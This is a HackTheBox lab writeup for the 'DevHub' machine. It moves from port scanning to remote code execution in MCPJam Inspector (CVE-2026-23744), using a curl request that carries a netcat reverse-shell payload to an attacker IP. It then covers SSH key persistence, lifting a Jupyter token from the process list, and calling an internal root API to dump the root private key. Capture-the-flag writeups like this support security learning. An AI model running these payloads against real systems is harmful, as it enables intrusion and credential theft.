Preview
← BACK
DevHub - Medium Linux HackTheBox Writeup Avatar

DevHub

IP=10.129.14.252
nmap -Pn -p- -T4 -vv -oG nmap.grep $IP; nmap -sVC -Pn -p$(grep -oP '\d+(?=/open)' nmap.grep | paste -sd "," -) $IP;
# PORT     STATE SERVICE VERSION
# 22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   256 35782e790d8713052f538ee73c55b64c (ECDSA)
# |_  256 dd568ebcdab8383e9acd0b74ee5385f8 (ED25519)
# 80/tcp   open  http    nginx 1.18.0 (Ubuntu)
# |_http-title: DevHub - Internal Development Platform
# |_http-server-header: nginx/1.18.0 (Ubuntu)
# 6274/tcp open  unknown
# | fingerprint-strings:
# |   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq:
# |     HTTP/1.1 400 Bad Request
# |     Connection: close
# |   GetRequest:
# |     HTTP/1.1 200 OK
# |     access-control-allow-credentials: true
# |     content-length: 466
# |     content-type: text/html; charset=utf-8
# |     vary: Origin
# |     Date: Thu, 04 Jun 2026 16:12:10 GMT
# |     Connection: close
# |     <!doctype html>
# |     <html lang="en">
# |     <head>
# |     <meta charset="UTF-8" />
# |     <link rel="icon" type="image/svg+xml" href="/mcp_jam.svg" />
# |     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
# |     <title>MCPJam Inspector</title>
# |     <script type="module" crossorigin src="/assets/index-DRYhT9Xb.js"></script>
# |     <link rel="stylesheet" crossorigin href="/assets/index-XvFRNbCs.css">
# |     </head>
# |     <body>
# |     <div id="root"></div>
# |     </body>
# |     </html>
# |   HTTPOptions, RTSPRequest:
# |     HTTP/1.1 204 No Content
# |     access-control-allow-credentials: true
# |     access-control-allow-methods: GET,HEAD,PUT,POST,DELETE,PATCH
# |     vary: Origin
# |     content-type: text/plain; charset=UTF-8
# |     Date: Thu, 04 Jun 2026 16:12:10 GMT
# |_    Connection: close

User

Finding a vulnerable MCPJam

curl -I http://10.129.14.252
# HTTP/1.1 302 Moved Temporarily
# Server: nginx/1.18.0 (Ubuntu)
# Date: Thu, 04 Jun 2026 16:04:49 GMT
# Content-Type: text/html
# Content-Length: 154
# Connection: keep-alive
# Location: http://devhub.htb/

Let's add devhub.htb to our /etc/hosts. We find a website that indicates there's something running on port 6274, at the same time my nmap finished which also shows the 6274.

It's running MCPJam v1.2.4, which is vulnerable to an RCE: CVE-2026-23744. It's the same exploit as Kobold from last season, really weird to have HTB accept the same exploit twice in the span of a couple months. I just copied the payload from my Kobold writeup, essentially we can RCE through a flaw in the API:

curl -k http://devhub.htb:6274/api/mcp/connect -X POST --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"bash\",\"args\":[\"-c\",\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.239 4444 >/tmp/f\"],\"env\":{}},\"serverId\":\"rce-test\"}"

We start our listener before sending and we get a shell as mcp-dev:

grep "sh$" /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# mcp-dev:x:1001:1001::/home/mcp-dev:/bin/bash
# analyst:x:1002:1002::/home/analyst:/bin/bash
ss -tulnp | grep LISTEN
# tcp   LISTEN 0      100        127.0.0.1:59213      0.0.0.0:*
# tcp   LISTEN 0      100        127.0.0.1:49129      0.0.0.0:*
# tcp   LISTEN 0      100        127.0.0.1:59297      0.0.0.0:*
# tcp   LISTEN 0      100        127.0.0.1:47421      0.0.0.0:*
# tcp   LISTEN 0      100        127.0.0.1:41351      0.0.0.0:*
# tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*
# tcp   LISTEN 0      100        127.0.0.1:49193      0.0.0.0:*
# tcp   LISTEN 0      511          0.0.0.0:6274       0.0.0.0:*    users:(("node-MainThread",pid=1284,fd=29))
# tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*
# tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*
# tcp   LISTEN 0      128        127.0.0.1:5000       0.0.0.0:*
# tcp   LISTEN 0      128        127.0.0.1:8888       0.0.0.0:*
# tcp   LISTEN 0      128             [::]:22            [::]:*

Let's forward those tcp/8888, and tcp/5000, first we need to give ourselves SSH, just create a key with ssh-keygen and add the public key to /home/mcp-dev/.ssh/authorized_keys. Finally, forward with ssh's -L, up to here this box is literally a 1:1 of Kobold.

tcp/8888 is a Jupyter Lab, it requires a token to access the private environment, we can get it from the process list:

ps aux | grep jupyter
# analyst     1080  0.2  2.4 183080 97264 ?        Ss   15:59   0:05 /home/analyst/jupyter-env/bin/python3 /home/analyst/jupyter-env/bin/jupyter-lab --ip=127.0.0.1 --port=8888 --no-browser --notebook-dir=/home/analyst/notebooks --ServerApp.token=a7f3b2c9d8e1f4a5b6c7d8e9f0a1b2c3d4e5f6a7 --ServerApp.password= --ServerApp.allow_origin= --ServerApp.disable_check_xsrf=False

We can get terminal as the analyst user and we get the user flag.

Root

We can now explore /opt/opsmcp/server.py which we couldn't read before. Looking at it we find that it's a custom API that might we might be able to abuse to leak passwords, even though what we currently see is mock data, we can still try to interact with the live API which is running as root.

curl -X POST http://localhost:5000/tools/call -H 'X-API-Key: opsmcp_secret_key_4f5a6b7c8d9e0f1a' -H 'Content-Type: application/json' -d '{"name":"ops._admin_dump","arguments":{"confirm":true,"target":"ssh_keys"}}'
{"note":"Emergency recovery key dump","root_private_key":"-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnN <SNIP> odWI=\n-----END OPENSSH PRIVATE KEY-----\n","target":"ssh_keys"}

And we get the root private key. Let's put it in a file and parse it:

sed 's/\\n/\n/g' tmp > root_key
chmod 600 root_key
ssh -i root_key root@devhub.htb
root@devhub:~# id
# uid=0(root) gid=0(root) groups=0(root)
root@devhub:~# ls
# root.txt  snap

Wow…